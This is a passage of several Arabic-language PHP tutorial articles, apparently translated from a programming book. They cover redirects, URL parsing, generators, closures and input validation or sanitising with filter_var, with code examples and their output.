إرسال ترويسات إذا أُرسلت بالفعل if (!headers_sent()) { header('Location: ' . $url); // الحماية من تنفيذ الشيفرة بعد إعادة توجيه الطلب exit; } else { throw new Exception('Cannot redirect, headers already sent'); } يمكنك أيضًا إعادة التوجيه إلى رابط نسبي (هذا ليس جزء من توصيف HTTP الرسمي، لكنه يعمل مع جميع المتصفحات): $url = 'foo/bar'; if (!headers_sent()) { header('Location: ' . $url); exit; } else { throw new Exception('Cannot redirect, headers already sent'); } إذا كانت الترويسات قد أُرسلت، يمكنك إرسال وسم HTML ‏meta refresh. يعتمد وسم ‏meta refresh على معالجة HTML بشكلٍ صحيح عند العميل لكن قد لايتم ذلك وفقًا للمطلوب، بشكلٍ عام يعمل بشكل صحيح فقط مع متصفحات الويب، ويجب أن تنتبه أيضًا أنه إذا كانت الترويسات قد أُرسلت بالفعل فقد تحصل على خطأ وهذا يشغّل استثناءً. يمكنك أيضًا أن تطبع رابطًا يضغط عليه المستخدم للعملاء الذين يتجاهلون وسم ‏meta refresh: $url = 'https://example.org/foo/bar'; if (!headers_sent()) { header('Location: ' . $url); } else { // ‫الحماية من رؤية المتصفح للرابط على أنّه HTML $saveUrl = htmlspecialchars($url); // ‫إخبار المتصفح أن يعيد توجيه الصفحة إلى ‎$saveUrl بعد 0 ثانية print '<meta http-equiv="refresh" content="0; url=' . $saveUrl . '">'; // إظهار الرابط للمستخدم print '<p>Please continue to <a href="' . $saveUrl . '">' . $saveUrl . '</a></p>'; } exit; كيفية تحليل رابط عند كتابتك شيفرة بلغة PHP قد تحتاج إلى تقسيم رابط إلى عدة أجزاء، ويوجد عدة طرق لذلك وفقًا لاحتياجاتك، سنشرح هذه الطرق في الفقرة التالية لتختار منها ما يناسبك. استخدام parse_url()‎ تحلل الدالة parse_url()‎ رابطًا وتعيد مصفوفة ترابطية (associative array) تتضمن مكونات الرابط المختلفة. $url = parse_url('http://example.com/project/controller/action/param1/param2'); /* Array ( [scheme] => http [host] => example.com [path] => /project/controller/action/param1/param2 ) */ يمكنك استخدام الدالة explode إذا كنت تحتاج أن يكون path مقسّمًا: $url = parse_url('http://example.com/project/controller/action/param1/param2'); $url['sections'] = explode('/', $url['path']); /* Array ( [scheme] => http [host] => example.com [path] => /project/controller/action/param1/param2 [sections] => Array ( [0] => [1] => project [2] => controller [3] => action [4] => param1 [5] => param2 ) ) */ يمكنك استخدام الدالة end()‎ إذا كنت تحتاج الجزء الأخير من sections: $last = end($url['sections']); إذا كان الرابط يحتوي على متغيرات GET يمكنك استعادتها أيضًا: $url = parse_url('http://example.com?var1=value1&var2=value2'); /* Array ( [scheme] => http [host] => example.com [query] => var1=value1&var2=value2 ) */ إذا أردت تقسيم متغيرات الاستعلام يمكنك استخدام parse_str()‎ كما يلي: $url = parse_url('http://example.com?var1=value1&var2=value2'); parse_str($url['query'], $parts); /* Array ( [var1] => value1 [var2] => value2 ) */ استخدام explode()‎ تعيد الدالة explode مصفوفة من السلاسل النصية، كل منها سلسلة جزئية من سلسلة نصية مُشكَّلة من تقسيمها على الحدود التي يشكّلها حد السلسلة النصية. $url = "http://example.com/project/controller/action/param1/param2"; $parts = explode('/', $url); /* Array ( [0] => http: [1] => [2] => example.com [3] => project [4] => controller [5] => action [6] => param1 [7] => param2 ) */ يمكنك استعادة الجزء الأخير من الرابط كالتالي: $last = end($parts); // param2 يمكنك أيضًا التنقل في المصفوفة باستخدام sizeof()‎ مع عامل رياضي كما في الشيفرة التالية: echo $parts[sizeof($parts)-2]; // param1 استخدام basename()‎ تُعطى الدالة basename()‎ سلسلة نصية تتضمن مسارًا إلى ملف أو مجلد وترجع مكوّن الاسم الزائد أي ترجع الجزء الأخير من الرابط فقط. $url = "http://example.com/project/controller/action/param1/param2"; $parts = basename($url); // param2 إذا كان الرابط يحتوي على المزيد من الأشياء وكل ما تحتاجه هو اسم المجلد الذي يتضمن الملف الذي تستخدمه عندها يمكنك استخدام dirname()‎: $url = "http://example.com/project/controller/action/param1/param2/index.php"; $parts = basename(dirname($url)); // param2 ترجمة -وبتصرف- للفصول [URLs - How to break down an URL] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: معالجة بيانات طلبيات HTTP والتعامل مع أخطاء رفع الملفات في PHP المقال السابق: شرح المولدات وتوضيح مفهوم المغلف (closure) في PHP
  22. الكلمة المفتاحية Yield تشبه التعليمة yield تعليمة return باستثناء أنّه بدلًا من إيقاف تنفيذ الدالة وإرجاع شيء ما، فإنّها تُرجع كائن Generator وتوقف تنفيذ دالة المولِّد، إليك مثال عن دالة مجال مكتوبة كمولِّد: function gen_one_to_three() { for ($i = 1; $i <= 3; $i++) { // ‫لاحظ أنّ المتغير ‎$i مسبوق بالكلمة المفتاحية yield. yield $i; } } يمكنك ملاحظة أنّ هذه الدالة ترجع كائنًا من النوع مولِّد Generator من خلال فحص الخرج باستخدام الدالة var_dump: var_dump(gen_one_to_three()) /* class Generator (0) { } */ القيم المعادة (Yielding) يمكن تكرار الكائن Generator مثل المصفوفة: foreach (gen_one_to_three() as $value) { echo "$value\n"; } خرج المثال السابق: 1 2 3 القيم المعادة مع مفاتيح بالإضافة إلى إعادة قيم يمكنك إعادة أزواج قيمة/مفتاح: function gen_one_to_three() { $keys = ["first", "second", "third"]; for ($i = 1; $i <= 3; $i++) { // ‫لاحظ أنّ المتغير ‎$i‎ هو قيمة معادة yield $keys[$i - 1] => $i; } } foreach (gen_one_to_three() as $key => $value) { echo "$key: $value\n"; } خرج المثال السابق: first: 1 second: 2 third: 3 قراءة ملف كبير باستخدام مولد إحدى حالات الاستخدام الشائعة للمولِّدات هي قراءة ملف من القرص والمرور على كامل محتوياته، إليك في الشيفرة التالية صنفًا يسمح لك بالتكرار عبر ملف CSV، يمكن التنبؤ باستخدام الذاكرة لهذا السكربت ولن يتفاوت هذا الاستخدام بتغير حجم ملف CSV. <?php class CsvReader { protected $file; public function __construct($filePath) { $this->file = fopen($filePath, 'r'); } public function rows() { while (!feof($this->file)) { $row = fgetcsv($this->file, 4096); yield $row; } return; } } $csv = new CsvReader('/path/to/huge/csv/file.csv'); foreach ($csv->rows() as $row) { // ‫القيام بشيء ما مع صف CSV } لماذا نستخدم المولِّد؟ تعدّ المولِّدات مفيدةً عندما نحتاج إلى توليد مجموعة كبيرة للمرور عليها لاحقًا، وهي أبسط بديل لإنشاء صنف ينفّذ مكرِّرًا والذي غالبًا ما يكون مبالغ به. بفرض لدينا الدالة التالية: function randomNumbers(int $length) { $array = []; for ($i = 0; $i < $length; $i++) { $array[] = mt_rand(1, 10); } return $array; } تولِّد الدالة السابقة مصفوفة تُملأ بأرقام عشوائية، قد نستخدمها بالشكل randomNumbers(10)‎ مثلًا مما يعطينا مصفوفة من 10 أرقام عشوائية، لكن ماذا لو أردنا توليد مليون رقمًا عشوائيًا؟ يمكننا القيام بذلك بكتابة randomNumbers(1000000)‎ لكن هذا يكلّف ذاكرة، إذ أنّ مليون عدد صحيح مخزّن في مصفوفة يحتاج إلى حوالي 33 ميجابايت من الذاكرة. $startMemory = memory_get_usage(); $randomNumbers = randomNumbers(1000000); echo memory_get_usage() - $startMemory, ' bytes'; هذا بسبب توليد مليون رقم عشوائي وإرجاعه مرةً واحدةً، بدلًا من توليد وإرجاع رقم في كل مرة، تعدّ المولِّدات طريقةً سهلةً لحل هذه المشكلة. استخدام دالة send()‎ لتمرير القيم إلى مولد تُشفَّر المولِّدات بسرعة وتكون في الكثير من الحالات بديلًا خفيفًا عن تنفيذات المكرِّر الثقيلة، ومع التنفيذ السريع يصبح لدينا نقصًا قليلًا في التحكم عندما يجب أن يتوقف المولِّد عن التوليد أو إذا كان يجب أن يولِّد شيئًا آخر. لكن يمكن تحقيق ذلك باستخدام دالة send()‎ مما يتيح لدالة الطلب إرسال المعاملات إلى المولِّد بعد كل حلقة. بفرض أنّه نريد الوصول إلى كمية بيانات كبيرة باستخدام المولِّد في الشيفرة التالية: function generateDataFromServerDemo() { // في هذا المثال نُرسل التغذية الراجعة في كل تكرار للحلقة بدلًا من إرسال بيانات من الخادم $indexCurrentRun = 0; $timeout = false; while (!$timeout) { $timeout = yield $indexCurrentRun; //(1) $indexCurrentRun++; } yield 'X of bytes are missing. </br>'; } // بدء استخدام المولِّد $generatorDataFromServer = generateDataFromServerDemo (); foreach($generatorDataFromServer as $numberOfRuns) { if ($numberOfRuns < 10) { echo $numberOfRuns . "</br>"; } else { // إرسال البيانات إلى المولِّد $generatorDataFromServer->send(true); // الوصول إلى العنصر الأخير (التلميح إلى عدد البايتات المفقودة) echo $generatorDataFromServer->current(); } } في الموضع (1) تُمرَّر القيم إلى المستدعي، وفي المرة التالية يُستدعى المولِّد الذي يبدأ عند هذه التعليمة، إذا استخدمنا الدالة send()‎ فإنّ المتغير ‎$timeout سيأخذ هذه القيمة. خرج الشيفرة السابقة: 0 1 2 3 4 5 6 7 8 9 X bytes are missing المغلف (closure) الاستخدام الأساسي للمغلِّف يكافئ المغلِّف الدالة المجهولة (anonymous function) أي الدالة التي ليس لها اسم، حتى لو كان ذلك غير صحيح تقنيًا فإنّ سلوك المغلِّف نفس سلوك الدالة مع ميزات إضافية قليلة. مثال: <?php $myClosure = function() { echo 'Hello world!'; }; $myClosure(); // "Hello world!" تذكر أنّ ‎$myClosure هو نسخة من مغلِّف (closure) لذا يجب أن تنتبه لما يمكنك القيام به (اطلع على الرابط). الحالة التقليدية التي تحتاج فيها استخدام المغلِّف هي عندما تريد إعطاء شيء قابل للاستدعاء إلى دالة ما، مثل الدالة usort، في المثال التالي تُرتَّب المصفوفة حسب عدد الأبناء لكل أب: <?php $data = [ [ 'name' => 'John', 'nbrOfSiblings' => 2, ], [ 'name' => 'Stan', 'nbrOfSiblings' => 1, ], [ 'name' => 'Tom', 'nbrOfSiblings' => 3, ] ]; usort($data, function($e1, $e2) { if ($e1['nbrOfSiblings'] == $e2['nbrOfSiblings']) { return 0; } return $e1['nbrOfSiblings'] < $e2['nbrOfSiblings'] ? -1 : 1; }); var_dump($data); // ‫سيظهر في الخرج Stan ثم John ثم Tom استخدام متغيرات خارجية من الممكن استخدام متغير خارجي داخل المُغلِّف باستخدام الكلمة المفتاحية الخاصة use، مثال: <?php $quantity = 1; $calculator = function($number) use($quantity) { return $number + $quantity; }; var_dump($calculator(2)); // "3" ويمكنك أيضًا إنشاء دوال مغلِّفة ديناميكية، فمثلًا يمكنك إنشاء دالة تُرجع عملية حسابية معينة بالاعتماد على كمية تريد إضافتها: <?php function createCalculator($quantity) { return function($number) use($quantity) { return $number + $quantity; }; } $calculator1 = createCalculator(1); $calculator2 = createCalculator(2); var_dump($calculator1(2)); // "3" var_dump($calculator2(2)); // "4" الربط الأساسي لمغلِّف كما لاحظت سابقًا فإنّ المغلِّف هو نسخة من الصنف Closure ويمكن استدعاء توابع مختلفة عليه، مثل التابع bindTo الذي يُعطى مغلِّف ويرجع مغلِّفًا جديدًا مرتبطًا بكائن مُعطى، مثال: <?php $myClosure = function() { echo $this->property; }; class MyClass { public $property; public function __construct($propertyValue) { $this->property = $propertyValue; } } $myInstance = new MyClass('Hello world!'); $myBoundClosure = $myClosure->bindTo($myInstance); $myBoundClosure(); // "Hello world!" ربط المغلف والنطاق بفرض لدينا المثال التالي: <?php $myClosure = function() { echo $this->property; }; class MyClass { public $property; public function __construct($propertyValue) { $this->property = $propertyValue; } } $myInstance = new MyClass('Hello world!'); $myBoundClosure = $myClosure->bindTo($myInstance); $myBoundClosure(); // "Hello world!" إذا حاولت تغيير مرئية الخاصيّة إلى محميّة (protected) أو خاصة (private)، ستحصل على خطأ فادح يشير إلى أنّه لا يمكنك الوصول إلى هذه الخاصيّة، وحتى لو كان المغلِّف مرتبطًا بالكائن فإنّ النطاق الذي يُنفَّذ فيه المغلِّف ليس بحاجة ليكون لديه إمكانية الوصول ولهذا السبب نستخدم المعامل الثاني للتابع bindTo. الطريقة الوحيدة لتكون الخاصيّة الخاصة (private) قابلة للوصول هي الوصول إليها من النطاق الذي يسمح بذلك، أي نطاق الصنف. في مثال الشيفرة السابق لم يُحدَّد النطاق مما يعني أنّ المغلِّف يُنفَّذ في نفس النطاق الذي أُنشئَ فيه، لنغيّر هذا: <?php $myClosure = function() { echo $this->property; }; class MyClass { private $property; public function __construct($propertyValue) { $this->property = $propertyValue; } } $myInstance = new MyClass('Hello world!'); $myBoundClosure = $myClosure->bindTo($myInstance, MyClass::class); $myBoundClosure(); // "Hello world!" إذا لم يُستخدم المعامل الثاني فإنّ المُغلِّف يُنفَّذ في نفس السياق الذي أُنشئ فيه، فمثلًا إذا أُنشئ المغلِّف داخل تابع صنف والذي يُنفَّذ في سياق كائن سيكون له نفس نطاق هذا التابع: <?php class MyClass { private $property; public function __construct($propertyValue) { $this->property = $propertyValue; } public function getDisplayer() { return function() { echo $this->property; }; } } $myInstance = new MyClass('Hello world!'); $displayer = $myInstance->getDisplayer(); $displayer(); // "Hello world!" ربط مغلِّف لاستدعاء واحد بدءًا من الإصدار PHP7 أصبح من الممكن ربط مغلِّف باستدعاء واحد فقط بفضل التابع call، مثال: <?php class MyClass { private $property; public function __construct($propertyValue) { $this->property = $propertyValue; } } $myClosure = function() { echo $this->property; }; $myInstance = new MyClass('Hello world!'); $myClosure->call($myInstance); // "Hello world!" لا داعي للقلق بشأن النطاق على عكس التابع bindTo، إذ أنّ النطاق المستخدم لهذا الاستدعاء هو نفس المستخدم عند الوصول إلى أو تنفيذ خاصية ‎$myInstance. استخدام المغلِّفات لتنفيذ نمط المراقِب بشكل عام المراقب (observer) هو صنف بتابع محدد يُستدعى عندما يحدث إجراء على الكائن المُراقَب، في بعض الحالات قد تكون المغلِّفات كافية لتنفيذ نمط تصميم المراقب. إليك مثال تفصيلي لمثل هذا التنفيذ، لنصرّح أولًا عن صنف الهدف منه هو إخبار المراقبين عند تغيّر خاصيّاتهم. <?php class ObservedStuff implements SplSubject { protected $property; protected $observers = []; public function attach(SplObserver $observer) { $this->observers[] = $observer; return $this; } public function detach(SplObserver $observer) { if (false !== $key = array_search($observer, $this->observers, true)) { unset($this->observers[$key]); } } public function notify() { foreach ($this->observers as $observer) { $observer->update($this); } } public function getProperty() { return $this->property; } public function setProperty($property) { $this->property = $property; $this->notify(); } } ثم نصرّح عن الصنف الذي سيمثّل المراقبين المختلفين: <?php class NamedObserver implements SplObserver { protected $name; protected $closure; public function __construct(Closure $closure, $name) { $this->closure = $closure->bindTo($this, $this); $this->name = $name; } public function update(SplSubject $subject) { $closure = $this->closure; $closure($subject); } } لنبدأ بالاختبار الآن: <?php $o = new ObservedStuff; $observer1 = function(SplSubject $subject) { echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), "\n"; }; $observer2 = function(SplSubject $subject) { echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), "\n"; }; $o->attach(new NamedObserver($observer1, 'Observer1')) ->attach(new NamedObserver($observer2, 'Observer2')); $o->setProperty('Hello world!'); /* Observer1 has been notified! New property value: Hello world! Observer2 has been notified! New property value: Hello world! */ لاحظ أنّ هذا المثال يعمل لأنّ المراقبين يتشاركون نفس الطبيعة (كلاهما "named observers"). ترجمة -وبتصرف- للفصول [Generators - Closure] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: التعامل مع الروابط URL في PHP المقال السابق: المرشحات ودوال المرشح (Filter) المعقمة في PHP
  23. ترشِّح هذه الإضافة البيانات إما عن طريق تدقيقها أو تعقيمها (sanitizing)، ويعدّ هذا مفيدًا خاصةً عندما يتضمن مصدر البيانات بيانات غير معروفة (أو غريبة) مثل الدخل الذي يوفره مستخدم ما، قد تأتي هذه البيانات من نموذج HTML مثلًا. المعامل تفاصيل variable القيمة التي نريد ترشيحها، لاحظ أنّ القيم العددية تُحوَّل إلى سلاسل نصية داخليًا قبل أي ترشيح filter ‫ معرِّف المرشّح الذي نريد تطبيقه، تذكر صفحة أنواع المرشِّحات في توثيق PHP جميع المرشِّحات المتاحة، إذا تجاوزت هذا المعامل ستُستخدم افتراضيًا القيمة `FILTER_DEFAULT` والتي تكافئ القيمة `FILTER_UNSAFE_RAW`، مما يؤدي إلى عدم إجراء ترشيح بشكلٍ افتراضي options ‫مصفوفة ترابطية من الخيارات أو عملية ثنائية OR على الرايات، إذا قَبِل المرشّح هذه الخيارات يمكن توفير الرايات في الحقل "flags" من المصفوفة. يجب تمرير نوع قابل للاستدعاء من أجل مرشِّح رد النداء، ويجب أن يقبل رد النداء وسيط واحد (القيمة التي نريد ترشيحها) ويعيد القيمة بعد ترشيحها/تعقيمها table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } التحقق من القيم المنطقية var_dump(filter_var(true, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true var_dump(filter_var(false, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var(1, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true var_dump(filter_var(0, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var('1', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true var_dump(filter_var('0', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var('', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var(' ', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var('true', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true var_dump(filter_var('false', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var([], FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // NULL var_dump(filter_var(null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false التحقق من القيم العشرية يتحقق من القيمة على أنّها قيمة عشرية ويحوّلها إلى قيمة عشرية عند النجاح. var_dump(filter_var(1, FILTER_VALIDATE_FLOAT)); var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT)); var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT)); var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT)); var_dump(filter_var(1, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); الخرج: float(1) float(1) float(1) float(1.00001) float(1) float(1) float(1) float(1.00001) bool(false) bool(false) bool(false) bool(false) float(1) float(1) float(1) float(1.00001) float(1) float(1) float(1) float(1.00001) float(1000) float(1000) float(1000) float(1000.00001) التحقق من العنوان الفيزيائي (MAC Address) يتحقق من قيمة أنّها عنوان فيزيائي صحيح. var_dump(filter_var('FA-F9-DD-B2-5E-0D', FILTER_VALIDATE_MAC)); var_dump(filter_var('DC-BB-17-9A-CE-81', FILTER_VALIDATE_MAC)); var_dump(filter_var('96-D5-9E-67-40-AB', FILTER_VALIDATE_MAC)); var_dump(filter_var('96-D5-9E-67-40', FILTER_VALIDATE_MAC)); var_dump(filter_var('', FILTER_VALIDATE_MAC)); الخرج: string(17) "FA-F9-DD-B2-5E-0D" string(17) "DC-BB-17-9A-CE-81" string(17) "96-D5-9E-67-40-AB" bool(false) bool(false) تعقيم عناوين البريد الإلكتروني يحذف جميع المحارف باستثناء الأحرف والأرقام والمحارف ‎!#$%&'*+-=?^_{|}~@.[]‎`. var_dump(filter_var('john@example.com', FILTER_SANITIZE_EMAIL)); var_dump(filter_var("!#$%&'*+-=?^_`{|}~.[]@example.com", FILTER_SANITIZE_EMAIL)); var_dump(filter_var('john/@example.com', FILTER_SANITIZE_EMAIL)); var_dump(filter_var('john\@example.com', FILTER_SANITIZE_EMAIL)); var_dump(filter_var('joh n@example.com', FILTER_SANITIZE_EMAIL)); الخرج: string(16) "john@example.com" string(33) "!#$%&'*+-=?^_`{|}~.[]@example.com" string(16) "john@example.com" string(16) "john@example.com" string(16) "john@example.com" تعقيم الأعداد الصحيحة يحذف جميع المحارف باستثناء الأرقام وإشارة الناقص والزائد. var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(-1, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(+1, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(1.00, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(+1.00, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(-1.00, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('-1', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('+1', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('1.00', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('+1.00', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('-1.00', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('1 unicorn', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('-1 unicorn', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('+1 unicorn', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var("!#$%&'*+-=?^_`{|}~@.[]0123456789abcdefghijklmnopqrstuvwxyz", FILTER_SANITIZE_NUMBER_INT)); الخرج: string(1) "1" string(2) "-1" string(1) "1" string(1) "1" string(1) "1" string(2) "-1" string(1) "1" string(2) "-1" string(2) "+1" string(3) "100" string(4) "+100" string(4) "-100" string(1) "1" string(2) "-1" string(2) "+1" string(12) "+-0123456789" تعقيم الروابط يحذف جميع المحارف باستثناء الأحرف والأرقام والمحارف ‎$-_.+!*'(),{}|\^~[]<>#%";/?:@&=‎`. var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_SANITIZE_URL)); var_dump(filter_var("http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]", FILTER_SANITIZE_URL)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=a b c', FILTER_SANITIZE_URL)); الخرج: string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(72) "http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]" string(53) "http://www.example.com/path/to/dir/index.php?test=abc" التحقق من عناوين البريد الإلكتروني تعيد الدالة filter_var()‎ عند استخدامها للتحقق من عنوان بريد إلكتروني بيانات مرشّحةً، والتي يجب أن تكون عنوان بريد إلكتروني في هذه الحالة أو false إذا لم يكن عنوان البريد إلكتروني صحيحًا: var_dump(filter_var('john@example.com', FILTER_VALIDATE_EMAIL)); var_dump(filter_var('notValidEmail', FILTER_VALIDATE_EMAIL)); الخرج: string(16) "john@example.com" bool(false) لا تتحقق هذه الدالة من المحارف غير اللاتينية، يمكن التحقق من اسم المجال المدول (Internationalized) من خلال نموذج ‎xn-- الخاص به. لاحظ أنّه لا يمكن معرفة فيما إذا كان عنوان البريد الإلكتروني صحيحًا قبل إرسال بريد إلكتروني إليه، قد ترغب بالمزيد من عمليات التحقق مثل التحقق من سجل MX، لكن هذا ليس ضروريًا. لا تنسَ إزالة الحسابات غير المستخدمة عند إرسال بريد تأكيد إلكتروني. التحقق من القيم الصحيحة تعيد الدالة filter_var()‎ عند استخدامها للتحقق من قيمة يجب أن تكون عددًا صحيحًا بيانات مرشّحةً والتي يجب أن تكون عددًا صحيحًا في هذه الحالة أو false إذا لم تكن القيمة عددًا صحيحًا. ولا تنسَ أنّ الأعداد العشرية ليست أعدادًا صحيحة. var_dump(filter_var('10', FILTER_VALIDATE_INT)); var_dump(filter_var('a10', FILTER_VALIDATE_INT)); var_dump(filter_var('10a', FILTER_VALIDATE_INT)); var_dump(filter_var(' ', FILTER_VALIDATE_INT)); var_dump(filter_var('10.00', FILTER_VALIDATE_INT)); var_dump(filter_var('10,000', FILTER_VALIDATE_INT)); var_dump(filter_var('-5', FILTER_VALIDATE_INT)); var_dump(filter_var('+7', FILTER_VALIDATE_INT)); الخرج: int(10) bool(false) bool(false) bool(false) bool(false) bool(false) int(-5) int(7) يمكنك استخدام تعبير نمطي إذا كنت تتوقع أرقامًا فقط: if(is_string($_GET['entry']) && preg_match('#^[0-9]+$#', $_GET['entry'])) // ‫هذا رقم صحيح (موجب) else // الرقم المدخل غير صحيح لا تحتاج للقيام بمثل هذا التحقق إذا كنت تحوّل هذه القيمة إلى عدد صحيح لذا يمكنك استخدام filter_var()‎. التحقق من وجود عدد صحيح ضمن مجال نحتاج إلى تضمين الحد الأقصى والحد الأدنى للمجال للتحقق من وجود عدد صحيح ضمن هذا المجال. $options = array( 'options' => array( 'min_range' => 5, 'max_range' => 10, ) ); var_dump(filter_var('5', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('10', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('8', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('4', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('11', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('-6', FILTER_VALIDATE_INT, $options)); الخرج: int(5) int(10) int(8) bool(false) bool(false) bool(false) التحقق من رابط تعيد الدالة filter_var()‎ عند استخدامها لترشيح رابط بيانات مرشّحةً والتي يجب أن تكون رابطًا في هذه الحالة أو false إذا لم يكن الرابط صحيحًا: مثال الرابط example.com: var_dump(filter_var('example.com', FILTER_VALIDATE_URL)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: bool(false) bool(false) bool(false) bool(false) bool(false) الرابط http://example.com: var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL)); var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(18) "http://example.com" string(18) "http://example.com" string(18) "http://example.com" bool(false) bool(false) الرابط http://www.example.com: var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL)); var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(22) "http://www.example.com" string(22) "http://www.example.com" string(22) "http://www.example.com" bool(false) bool(false) الرابط http://www.example.com/path/to/dir/‎: var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL)); var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(35) "http://www.example.com/path/to/dir/" string(35) "http://www.example.com/path/to/dir/" string(35) 